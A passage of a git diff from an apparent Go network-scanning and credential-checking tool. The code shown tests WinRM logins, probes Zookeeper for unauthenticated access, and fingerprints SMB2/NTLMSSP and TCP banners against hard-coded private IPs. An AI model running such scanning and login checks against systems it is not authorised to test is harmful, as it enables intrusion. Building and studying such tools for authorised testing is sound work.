}
|
||||
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
|
||||
reply = make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return reply, nil
|
||||
}
|
||||
30
core/plugin/winrm.go
Normal file
30
core/plugin/winrm.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"fmt"
|
||||
"github.com/masterzen/winrm"
|
||||
"net"
|
||||
"os"
|
||||
)
|
||||
|
||||
func WinRMAuth(info config.ServiceConn, user, pass string) (*winrm.Client, bool, error) {
|
||||
var err error
|
||||
params := winrm.DefaultParameters
|
||||
// 设置代理认证
|
||||
params.Dial = func(network, addr string) (net.Conn, error) {
|
||||
return net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
}
|
||||
// 设置输入
|
||||
endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0)
|
||||
client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
|
||||
stdout := os.Stdout
|
||||
res, err := client.Run("echo ISOK > nul", stdout, os.Stderr)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
if res == 0 && err == nil {
|
||||
return client, true, nil
|
||||
}
|
||||
return nil, false, err
|
||||
}
|
||||
@@ -1,14 +1,16 @@
|
||||
package cmd
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
func ZookeeperConn(info config.HostIn) (bool, error) {
|
||||
func ZookeeperConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
payload := []byte("envidddfdsfsafafaerwrwerqwe")
|
||||
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -18,7 +20,7 @@ func ZookeeperConn(info config.HostIn) (bool, error) {
|
||||
n, err := conn.Read(reply)
|
||||
if err == nil {
|
||||
if bytes.Contains(reply[:n], []byte("Environment")) {
|
||||
Println(fmt.Sprintf("[+] zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port)))
|
||||
logger.Success(fmt.Sprintf("zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port)))
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
26
core/utils/utils.go
Normal file
26
core/utils/utils.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ByteToStringParse(p []byte) string {
|
||||
var w []string
|
||||
var res string
|
||||
for i := 0; i < len(p); i++ {
|
||||
if p[i] > 32 && p[i] < 127 {
|
||||
w = append(w, string(p[i]))
|
||||
continue
|
||||
}
|
||||
asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
|
||||
w = append(w, asciiTo16)
|
||||
}
|
||||
res = strings.Join(w, "")
|
||||
if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
|
||||
s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
|
||||
return s[0]
|
||||
}
|
||||
return res
|
||||
}
|
||||
5
example.txt
Normal file
5
example.txt
Normal file
@@ -0,0 +1,5 @@
|
||||
192.168.1.1/24
|
||||
www.baidu.com
|
||||
192.168.248.1-13
|
||||
sairson.cn
|
||||
1ight.top/123456
|
||||
593
example/tcp_smb_test.go
Normal file
593
example/tcp_smb_test.go
Normal file
@@ -0,0 +1,593 @@
|
||||
package example
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
crand "crypto/rand"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func Test(t *testing.T) {
|
||||
res, _, err := smb2("192.168.248.224", 445, 1*time.Second)
|
||||
if err != nil || res["ntlmssp.Version"] == "" {
|
||||
return
|
||||
} else {
|
||||
banner := fmt.Sprintf("Version:%s||DNSComputer:%s||TargetName:%s||NetbiosComputer:%s",
|
||||
res["ntlmssp.Version"],
|
||||
res["ntlmssp.DNSComputer"],
|
||||
res["ntlmssp.TargetName"],
|
||||
res["ntlmssp.NetbiosComputer"],
|
||||
)
|
||||
fmt.Println(banner)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// smb2 from https://github.com/RumbleDiscovery/rumble-tools/blob/main/cmd/rumble-smb2-sessions/main.go
|
||||
func smb2(host string, port int, timeout time.Duration) (map[string]string, []byte, error) {
|
||||
// SMB1NegotiateProtocolRequest is a SMB1 request that advertises support for SMB2
|
||||
var smb1NegotiateProtocolRequest = []byte{
|
||||
0x00, 0x00, 0x00, 0xd4, 0xff, 0x53, 0x4d, 0x42,
|
||||
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x43, 0xc8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xff,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0xb1, 0x00, 0x02,
|
||||
0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
|
||||
0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52,
|
||||
0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02,
|
||||
0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46,
|
||||
0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52,
|
||||
0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00,
|
||||
0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f,
|
||||
0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f,
|
||||
0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00,
|
||||
0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31,
|
||||
0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e,
|
||||
0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x44,
|
||||
0x4f, 0x53, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
|
||||
0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4c, 0x41,
|
||||
0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00,
|
||||
0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02,
|
||||
0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41,
|
||||
0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e,
|
||||
0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31,
|
||||
0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32,
|
||||
0x2e, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x4d,
|
||||
0x42, 0x20, 0x32, 0x2e, 0x3f, 0x3f, 0x3f, 0x00,
|
||||
}
|
||||
fmt.Println(string(smb1NegotiateProtocolRequest))
|
||||
info := make(map[string]string)
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
err = SMBSendData(conn, smb1NegotiateProtocolRequest, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, err := SMBReadFrame(conn, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
err = SMBSendData(conn, SMB2NegotiateProtocolRequest(host), timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, _ = SMBReadFrame(conn, timeout)
|
||||
SMB2ExtractFieldsFromNegotiateReply(data, info)
|
||||
|
||||
// SMB2SessionSetupNTLMSSP is a SMB2 SessionSetup NTLMSSP request
|
||||
var smb2SessionSetupNTLMSSP = []byte{
|
||||
0x00, 0x00, 0x00, 0xa2, 0xfe, 0x53, 0x4d, 0x42,
|
||||
0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x01,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x58, 0x00, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x60, 0x48, 0x06, 0x06,
|
||||
0x2b, 0x06, 0x01, 0x05, 0x05, 0x02, 0xa0, 0x3e,
|
||||
0x30, 0x3c, 0xa0, 0x0e, 0x30, 0x0c, 0x06, 0x0a,
|
||||
0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
|
||||
0x02, 0x0a, 0xa2, 0x2a, 0x04, 0x28, 0x4e, 0x54,
|
||||
0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x97, 0x82, 0x08, 0xe2, 0x00, 0x00,
|
||||
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x0a, 0x00,
|
||||
0xba, 0x47, 0x00, 0x00, 0x00, 0x0f,
|
||||
}
|
||||
|
||||
setup := make([]byte, len(smb2SessionSetupNTLMSSP))
|
||||
copy(setup, smb2SessionSetupNTLMSSP)
|
||||
|
||||
// Set the ProcessID
|
||||
binary.LittleEndian.PutUint16(setup[4+32:], 0xfeff)
|
||||
|
||||
err = SMBSendData(conn, setup, timeout)
|
||||
if err != nil {
|
||||
return info, []byte{}, err
|
||||
}
|
||||
|
||||
data, err = SMBReadFrame(conn, timeout)
|
||||
SMB2ExtractSIDFromSessionSetupReply(data, info)
|
||||
SMBExtractFieldsFromSecurityBlob(data, info)
|
||||
|
||||
return info, data, err
|
||||
}
|
||||
|
||||
// RandomBytes generates a random byte sequence of the requested length
|
||||
func RandomBytes(numBytes int) []byte {
|
||||
randBytes := make([]byte, numBytes)
|
||||
err := binary.Read(crand.Reader, binary.BigEndian, &randBytes)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
return randBytes
|
||||
}
|
||||
|
||||
// SMBReadFrame reads the netBios header then the full response
|
||||
func SMBReadFrame(conn net.Conn, t time.Duration) ([]byte, error) {
|
||||
timeout := time.Now().Add(time.Duration(t) * time.Second)
|
||||
res := []byte{}
|
||||
nbh := make([]byte, 4)
|
||||
|
||||
err := conn.SetReadDeadline(timeout)
|
||||
if err != nil {
|
||||
return res, err
|
||||
}
|
||||
|
||||
// Read the NetBIOS header
|
||||
n, err := conn.Read(nbh[:])
|
||||
if err != nil {
|
||||
// Return if EOF is reached
|
||||
if err == io.EOF {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// Return if timeout is reached
|
||||
if err, ok := err.(net.Error); ok && err.Timeout() {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// If we have data and received an error, it was probably a reset
|
||||
if len(res) > 0 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
return res, err
|
||||
}
|
||||
|
||||
if n != 4 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
res = append(res[:], nbh[:n]...)
|
||||
dlen := binary.BigEndian.Uint32(nbh[:]) & 0x00ffffff
|
||||
buf := make([]byte, dlen)
|
||||
n, err = conn.Read(buf[:])
|
||||
if err != nil {
|
||||
// Return if EOF is reached
|
||||
if err == io.EOF {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// Return if timeout is reached
|
||||
if err, ok := err.(net.Error); ok && err.Timeout() {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// If we have data and received an error, it was probably a reset
|
||||
if len(res) > 0 {
|
||||
return res, nil
|
||||
}
|
||||
|
||||
return res, err
|
||||
}
|
||||
res = append(res[:], buf[:n]...)
|
||||
return res, nil
|
||||
}
|
||||
|
||||
// SMB2ExtractFieldsFromNegotiateReply extracts useful fields from the SMB2 negotiate response
|
||||
func SMB2ExtractFieldsFromNegotiateReply(blob []byte, info map[string]string) {
|
||||
|
||||
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
|
||||
if smbOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
data := blob[smbOffset:]
|
||||
|
||||
// Basic sanity check
|
||||
if len(data) < (64 + 8 + 16 + 36) {
|
||||
return
|
||||
}
|
||||
|
||||
switch binary.LittleEndian.Uint16(data[64+2:]) {
|
||||
case 0:
|
||||
info["smb.Signing"] = "disabled"
|
||||
case 1:
|
||||
info["smb.Signing"] = "enabled"
|
||||
case 2, 3:
|
||||
info["smb.Signing"] = "required"
|
||||
}
|
||||
|
||||
info["smb.Dialect"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint16(data[64+4:]))
|
||||
//info["smb.GUID"] = uuid.FromBytesOrNil(data[64+8 : 64+8+16]).String()
|
||||
info["smb.Capabilities"] = fmt.Sprintf("0x%.8x", binary.LittleEndian.Uint32(data[64+8+16:]))
|
||||
|
||||
negCtxCount := int(binary.LittleEndian.Uint16(data[64+6:]))
|
||||
negCtxOffset := int(binary.LittleEndian.Uint32(data[64+8+16+36:]))
|
||||
if negCtxCount == 0 || negCtxOffset == 0 || negCtxOffset+(negCtxCount*8) > len(data) {
|
||||
return
|
||||
}
|
||||
|
||||
negCtxData := data[negCtxOffset:]
|
||||
idx := 0
|
||||
for {
|
||||
if idx+8 > len(negCtxData) {
|
||||
break
|
||||
}
|
||||
negType := int(binary.LittleEndian.Uint16(negCtxData[idx:]))
|
||||
negLen := int(binary.LittleEndian.Uint16(negCtxData[idx+2:]))
|
||||
idx += 8
|
||||
|
||||
if idx+negLen > len(negCtxData) {
|
||||
break
|
||||
}
|
||||
negData := negCtxData[idx : idx+negLen]
|
||||
|
||||
SMB2ParseNegotiateContext(negType, negData, info)
|
||||
|
||||
// Move the index to the next context
|
||||
idx += negLen
|
||||
// Negotiate Contexts are aligned on 64-bit boundaries
|
||||
for idx%8 != 0 {
|
||||
idx++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SMB2ParseNegotiateContext decodes fields from the SMB2 Negotiate Context values
|
||||
func SMB2ParseNegotiateContext(t int, data []byte, info map[string]string) {
|
||||
switch t {
|
||||
case 1:
|
||||
// SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
if len(data) < 6 {
|
||||
return
|
||||
}
|
||||
hashCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
// MUST only be one in responses
|
||||
if hashCount != 1 {
|
||||
return
|
||||
}
|
||||
hashSaltLen := int(binary.LittleEndian.Uint16(data[2:]))
|
||||
hashType := int(binary.LittleEndian.Uint16(data[4:]))
|
||||
hashName := "sha512"
|
||||
if hashType != 1 {
|
||||
hashName = fmt.Sprintf("unknown-%d", hashType)
|
||||
}
|
||||
info["smb.HashAlg"] = hashName
|
||||
info["smb.HashSaltLen"] = fmt.Sprintf("%d", hashSaltLen)
|
||||
|
||||
case 2:
|
||||
// SMB2_ENCRYPTION_CAPABILITIES
|
||||
if len(data) < 4 {
|
||||
return
|
||||
}
|
||||
cipherCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
if len(data) < 2+(2*cipherCount) {
|
||||
return
|
||||
}
|
||||
// MUST only be one in responses
|
||||
if cipherCount != 1 {
|
||||
return
|
||||
}
|
||||
cipherList := []string{}
|
||||
for i := 0; i < cipherCount; i++ {
|
||||
cipherID := int(binary.LittleEndian.Uint16(data[2+(i*2):]))
|
||||
cipherName := ""
|
||||
switch cipherID {
|
||||
case 1:
|
||||
cipherName = "aes-128-ccm"
|
||||
case 2:
|
||||
cipherName = "aes-128-gcm"
|
||||
default:
|
||||
cipherName = fmt.Sprintf("unknown-%d", cipherID)
|
||||
}
|
||||
cipherList = append(cipherList, cipherName)
|
||||
}
|
||||
|
||||
info["smb.CipherAlg"] = strings.Join(cipherList, "\t")
|
||||
|
||||
case 3:
|
||||
// SMB2_COMPRESSION_CAPABILITIES
|
||||
if len(data) < 10 {
|
||||
return
|
||||
}
|
||||
compCount := int(binary.LittleEndian.Uint16(data[:]))
|
||||
if len(data) < 2+2+4+(2*compCount) {
|
||||
return
|
||||
}
|
||||
// MUST only be one in responses
|
||||
if compCount != 1 {
|
||||
return
|
||||
}
|
||||
compList := []string{}
|
||||
for i := 0; i < compCount; i++ {
|
||||
compID := int(binary.LittleEndian.Uint16(data[8+(i*2):]))
|
||||
compName := ""
|
||||
switch compID {
|
||||
case 0:
|
||||
compName = "none"
|
||||
case 1:
|
||||
compName = "lznt1"
|
||||
case 2:
|
||||
compName = "lz77"
|
||||
case 3:
|
||||
compName = "lz77+huff"
|
||||
case 4:
|
||||
compName = "patternv1"
|
||||
default:
|
||||
compName = fmt.Sprintf("unknown-%d", compID)
|
||||
}
|
||||
compList = append(compList, compName)
|
||||
}
|
||||
info["smb.CompressionFlags"] = fmt.Sprintf("0x%.4x", binary.LittleEndian.Uint32(data[4:]))
|
||||
info["smb.CompressionAlg"] = strings.Join(compList, "\t")
|
||||
}
|
||||
}
|
||||
|
||||
// SMBSendData writes a SMB request to a socket
|
||||
func SMBSendData(conn net.Conn, data []byte, timeout time.Duration) error {
|
||||
err := conn.SetWriteDeadline(time.Now().Add(time.Duration(timeout) * time.Second))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
n, err := conn.Write(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_ = n
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SMB2ExtractSIDFromSessionSetupReply tries to extract the SessionID and Signature from a SMB2 reply
|
||||
func SMB2ExtractSIDFromSessionSetupReply(blob []byte, info map[string]string) {
|
||||
smbOffset := bytes.Index(blob, []byte{0xfe, 'S', 'M', 'B'})
|
||||
if smbOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
smbData := blob[smbOffset:]
|
||||
if len(smbData) < 48 {
|
||||
return
|
||||
}
|
||||
|
||||
status := binary.LittleEndian.Uint32(smbData[8:])
|
||||
info["smb.Status"] = fmt.Sprintf("0x%.8x", status)
|
||||
|
||||
sessID := binary.LittleEndian.Uint64(smbData[40:])
|
||||
info["smb.SessionID"] = fmt.Sprintf("0x%.16x", sessID)
|
||||
|
||||
if len(smbData) >= 64 {
|
||||
sigData := hex.EncodeToString(smbData[48:64])
|
||||
if sigData != "00000000000000000000000000000000" {
|
||||
info["smb.Signature"] = sigData
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// SMBExtractValueFromOffset peels a field out of a SMB buffer
|
||||
func SMBExtractValueFromOffset(blob []byte, idx int) ([]byte, int, error) {
|
||||
res := []byte{}
|
||||
|
||||
if len(blob) < (idx + 6) {
|
||||
return res, idx, fmt.Errorf("data truncated")
|
||||
}
|
||||
|
||||
len1 := binary.LittleEndian.Uint16(blob[idx:])
|
||||
idx += 2
|
||||
|
||||
// len2 := binary.LittleEndian.Uint16(blob[idx:])
|
||||
idx += 2
|
||||
|
||||
off := binary.LittleEndian.Uint32(blob[idx:])
|
||||
idx += 4
|
||||
|
||||
// Allow zero length values
|
||||
if len1 == 0 {
|
||||
return res, idx, nil
|
||||
}
|
||||
|
||||
if len(blob) < int(off+uint32(len1)) {
|
||||
return res, idx, fmt.Errorf("data value truncated")
|
||||
}
|
||||
|
||||
res = append(res, blob[off:off+uint32(len1)]...)
|
||||
return res, idx, nil
|
||||
}
|
||||
|
||||
// SMBExtractFieldsFromSecurityBlob extracts fields from the NTLMSSP response
|
||||
func SMBExtractFieldsFromSecurityBlob(blob []byte, info map[string]string) {
|
||||
var err error
|
||||
|
||||
ntlmsspOffset := bytes.Index(blob, []byte{'N', 'T', 'L', 'M', 'S', 'S', 'P', 0x00, 0x02, 0x00, 0x00, 0x00})
|
||||
if ntlmsspOffset < 0 {
|
||||
return
|
||||
}
|
||||
|
||||
data := blob[ntlmsspOffset:]
|
||||
|
||||
// Basic sanity check
|
||||
if len(data) < (12 + 6 + 12 + 8 + 6 + 8) {
|
||||
return
|
||||
}
|
||||
|
||||
idx := 12
|
||||
|
||||
targetName, idx, err := SMBExtractValueFromOffset(data, idx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Negotiate Flags
|
||||
negotiateFlags := binary.LittleEndian.Uint32(data[idx:])
|
||||
info["ntlmssp.NegotiationFlags"] = fmt.Sprintf("0x%.8x", negotiateFlags)
|
||||
idx += 4
|
||||
|
||||
// NTLM Server Challenge
|
||||
idx += 8
|
||||
|
||||
// Reserved
|
||||
idx += 8
|
||||
|
||||
// Target Info
|
||||
targetInfo, idx, err := SMBExtractValueFromOffset(data, idx)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// Version
|
||||
versionMajor := uint8(data[idx])
|
||||
idx++
|
||||
|
||||
versionMinor := uint8(data[idx])
|
||||
idx++
|
||||
|
||||
versionBuild := binary.LittleEndian.Uint16(data[idx:])
|
||||
idx += 2
|
||||
|
||||
ntlmRevision := binary.BigEndian.Uint32(data[idx:])
|
||||
|
||||
// macOS reverses the endian order of this field for some reason
|
||||
if ntlmRevision == 251658240 {
|
||||
ntlmRevision = binary.LittleEndian.Uint32(data[idx:])
|
||||
}
|
||||
|
||||
info["ntlmssp.Version"] = fmt.Sprintf("%d.%d.%d", versionMajor, versionMinor, versionBuild)
|
||||
info["ntlmssp.NTLMRevision"] = fmt.Sprintf("%d", ntlmRevision)
|
||||
info["ntlmssp.TargetName"] = TrimName(string(targetName))
|
||||
|
||||
idx = 0
|
||||
for {
|
||||
if idx+4 > len(targetInfo) {
|
||||
break
|
||||
}
|
||||
|
||||
attrType := binary.LittleEndian.Uint16(targetInfo[idx:])
|
||||
idx += 2
|
||||
|
||||
// End of List
|
||||
if attrType == 0 {
|
||||
break
|
||||
}
|
||||
|
||||
attrLen := binary.LittleEndian.Uint16(targetInfo[idx:])
|
||||
idx += 2
|
||||
|
||||
if idx+int(attrLen) > len(targetInfo) {
|
||||
// log.Printf("too short: %d/%d", idx+int(attrLen), len(targetInfo))
|
||||
break
|
||||
}
|
||||
|
||||
attrVal := targetInfo[idx : idx+int(attrLen)]
|
||||
idx += int(attrLen)
|
||||
|
||||
switch attrType {
|
||||
case 1:
|
||||
info["ntlmssp.NetbiosComputer"] = TrimName(string(attrVal))
|
||||
case 2:
|
||||
info["ntlmssp.NetbiosDomain"] = TrimName(string(attrVal))
|
||||
case 3:
|
||||
info["ntlmssp.DNSComputer"] = TrimName(string(attrVal))
|
||||
case 4:
|
||||
info["ntlmssp.DNSDomain"] = TrimName(string(attrVal))
|
||||
case 7:
|
||||
ts := binary.LittleEndian.Uint64(attrVal[:])
|
||||
info["ntlmssp.Timestamp"] = fmt.Sprintf("0x%.16x", ts)
|
||||
|
||||
}
|
||||
|
||||
// End of List
|
||||
if attrType == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TrimName removes null bytes and trims leading and trailing spaces from a string
|
||||
func TrimName(name string) string {
|
||||
return strings.TrimSpace(strings.Replace(name, "\x00", "", -1))
|
||||
}
|
||||
|
||||
// SMB2NegotiateProtocolRequest generates a new Negotiate request with the specified target name
|
||||
func SMB2NegotiateProtocolRequest(dst string) []byte {
|
||||
|
||||
base := []byte{
|
||||
0xfe, 0x53, 0x4d, 0x42,
|
||||
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x05, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
// Client GUID (16)
|
||||
base = append(base[:], RandomBytes(16)...)
|
||||
|
||||
base = append(base[:], []byte{
|
||||
0x70, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
|
||||
0x02, 0x02, 0x10, 0x02, 0x00, 0x03, 0x02, 0x03,
|
||||
0x11, 0x03, 0x00, 0x00, 0x01, 0x00, 0x26, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x20, 0x00,
|
||||
0x01, 0x00,
|
||||
}...)
|
||||
|
||||
// SHA-512 Salt (32)
|
||||
base = append(base[:], RandomBytes(32)...)
|
||||
|
||||
base = append(base[:], []byte{
|
||||
0x00, 0x00, 0x02, 0x00, 0x06, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x02, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0e, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00,
|
||||
}...)
|
||||
|
||||
encodedDst := make([]byte, len(dst)*2)
|
||||
for i, b := range []byte(dst) {
|
||||
encodedDst[i*2] = b
|
||||
}
|
||||
|
||||
netname := []byte{0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
binary.LittleEndian.PutUint16(netname[2:], uint16(len(encodedDst)))
|
||||
netname = append(netname, encodedDst...)
|
||||
|
||||
base = append(base, netname...)
|
||||
|
||||
nbhd := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(nbhd, uint32(len(base)))
|
||||
nbhd = append(nbhd, base...)
|
||||
fmt.Println(string(nbhd))
|
||||
return nbhd
|
||||
}
|
||||
76
example/tcp_ssh_test.go
Normal file
76
example/tcp_ssh_test.go
Normal file
@@ -0,0 +1,76 @@
|
||||
package example
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TcpProtocol(host string, port int, timeout time.Duration) ([]byte, error) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
|
||||
reply := make([]byte, 256)
|
||||
_, err = conn.Read(reply)
|
||||
|
||||
var buffer [256]byte
|
||||
if err == nil && bytes.Equal(reply[:], buffer[:]) == false {
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return reply, nil
|
||||
}
|
||||
conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), time.Duration(timeout))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msg := "GET /test HTTP/1.1\r\n\r\n"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
|
||||
reply = make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return reply, nil
|
||||
}
|
||||
func ByteToStringParse1(p []byte) string {
|
||||
var w []string
|
||||
var res string
|
||||
for i := 0; i < len(p); i++ {
|
||||
if p[i] > 32 && p[i] < 127 {
|
||||
w = append(w, string(p[i]))
|
||||
continue
|
||||
}
|
||||
asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
|
||||
w = append(w, asciiTo16)
|
||||
}
|
||||
res = strings.Join(w, "")
|
||||
if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
|
||||
s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
|
||||
return s[0]
|
||||
}
|
||||
return res
|
||||
}
|
||||
func Test1(test *testing.T) {
|
||||
buff, err := TcpProtocol("192.168.248.203", 22, 1*time.Second)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
}
